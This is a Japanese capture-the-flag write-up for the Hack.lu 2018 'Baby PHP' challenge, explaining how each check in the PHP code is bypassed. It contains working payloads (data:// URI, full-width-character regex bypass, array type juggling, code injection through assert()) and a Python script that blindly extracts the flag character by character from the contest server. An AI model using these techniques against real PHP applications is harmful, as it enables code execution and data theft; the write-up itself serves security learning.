Hack.lu CTF 2018 - Baby PHP
問題文
PHP is a popular general-purpose scripting language that is especially suited to web development.
Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.
Can you untangle this mess?!
writeup
まず、各種、if文とdieを突破して最後まで到達するパラメータを考える。
1. データURIスキーム
@$msg = $_GET['msg']; if(@file_get_contents($msg)!=="Hello Challenge!"){ die('Wow so rude!!!!1'); }
以下を参考に、データURLスキームでHello Challenge!をセットする。 http://php.net/manual/ja/wrappers.data.php
解答時はmsg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==
としたが、
別にmsg=data://text/plain,Hell Challenge!
でも問題なかった。
2. 比較
@$k1=$_GET['key1']; @$k2=$_GET['key2']; $cc = 1337;$bb = 42; if(intval($k1) !== $cc || $k1 === $cc){ die("lol no\n"); }
単純にk1
変数に1337
をセットすれば条件に合致せず突破できるため、クエリパラメータにkey1=1337
をセットする。
一応、参考はここらへん。
PHP: PHP 型の比較表 - Manual
3. 正規表現
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}
次のif文のために、$cc
を任意のパラメータに上書きするため、if文の条件に合致させて@$cc = $_GET['cc'];
まで到達させる必要がある。
$
は、正規表現の末尾を表していると思いきや、全角文字。
よって、$k2
には合計42文字となるように、1337$+任意の文字列
をセットすればよい。
クエリパラメータにkey2=1337$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
をセットする。
なお、"1337$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" == 1337
はTRUE
になるようだ。
4. 配列
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}
次のif文のために、任意のパラメータをセットしたいため、if文の条件に合致させて$$lel = $hack;
まで到達させる必要がある。
条件にマッチする$cc
の文字列を探すのは困難だが、$cc
を配列にしてしまえばよい。
よって、クエリパラメータにcc[0]=任意の文字列
をセットする。
5. RLO
$<202e>b = "2";$a="<202e>b";//;1=b if($$a !== $k1){ die("lel no\n"); }
1行目は、RLOが使われており、実体は
b="2"; $a="b";//b=1;
になっているようだ。
$$a=2
となるため、$k1=2
になるようにクエリパラメータにk1=2
を付与する。
6. assert
assert_options(ASSERT_BAIL, 1); assert("$bb == $cc");
$bb
に、TRUE;//
をセットすれば突破できる。
しかし、突破しても
// echo $flag;
と、コメントアウトされているため、意味がない。
そこで、"Good Job ;)"が返却されるかどうかによって、$bb
にセットしたパラメータがTRUEかどうかを判定できることを利用する。Blind SQL Injectionを解くように、1文字ずつフラグ文字列を特定するスクリプトを作成して実行する。
import requests import string import urllib3 from urllib3.exceptions import InsecureRequestWarning urllib3.disable_warnings(InsecureRequestWarning) URL = 'https://arcade.fluxfingers.net:1819/' LETTERS = string.digits+string.ascii_letters+"!#$&()*+,-./:;<=>?@[\]^_`{|}~" password = 'flag{' while True: flag = False for e in LETTERS: r = requests.get( URL, params={ "msg":"data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==", "key1":"1337", "key2":"1337$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "cc[0]":"0", "k1":"2", "bb":"$flag[{}] == '{}';//".format(len(password), e) #"bb":"TRUE" }, verify=False ) print("$flag[{}] == '{}'".format(len(password), e)) if "Good Job ;)" in r.text: password += e print(password) flag = True break if flag: continue exit()
実行結果は以下の通り。
(snip) $flag[37] == ']' $flag[37] == '^' $flag[37] == '_' $flag[37] == '`' $flag[37] == '{' $flag[37] == '|' $flag[37] == '}' flag{7c217708c5293a3264bb136ef1fadd6e}
フラグゲット。
しかし、実は普通にassert
の中でprint_r($flag)
が使用できることを知る。
こんな苦労しなくてもよかったんや!
それにしても、平日のCTFは辛い。
もう1問、Web問があったが着手さえできなかった…。